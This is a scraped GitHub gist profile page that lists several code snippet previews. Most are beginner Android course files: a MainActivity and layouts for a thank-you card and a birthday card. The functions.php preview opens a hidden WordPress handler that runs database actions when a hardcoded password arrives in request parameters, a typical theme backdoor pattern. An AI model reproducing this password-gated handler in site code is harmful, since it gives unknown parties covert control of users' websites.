Skip to content

Instantly share code, notes, and snippets.

Dampas

Block or report user

Report or block Dampas

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View functions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'ced182e68ffb1c1ac8ee6eba9401e345'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
@Dampas
Dampas / MainActivity.java
Created Apr 4, 2017
Project - Single Screen App
View MainActivity.java
package com.example.android.apartmentapp;
import android.graphics.Typeface;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.widget.TextView;
public class MainActivity extends AppCompatActivity {
@Override
@Dampas
Dampas / Thank You Card
Last active Jan 17, 2017
Android Basics: User Interface - Practice Set 1
View Thank You Card
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/activity_main"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@drawable/paperbackground"
android:orientation="vertical"
tools:context="com.example.android.thankyoucard.MainActivity">
@Dampas
Dampas / HappyBirthday
Last active Jan 14, 2017
Android Basics: User Interface
View HappyBirthday
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/activity_main"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context="com.example.android.happybirthday.MainActivity">
<ImageView
You can’t perform that action at this time.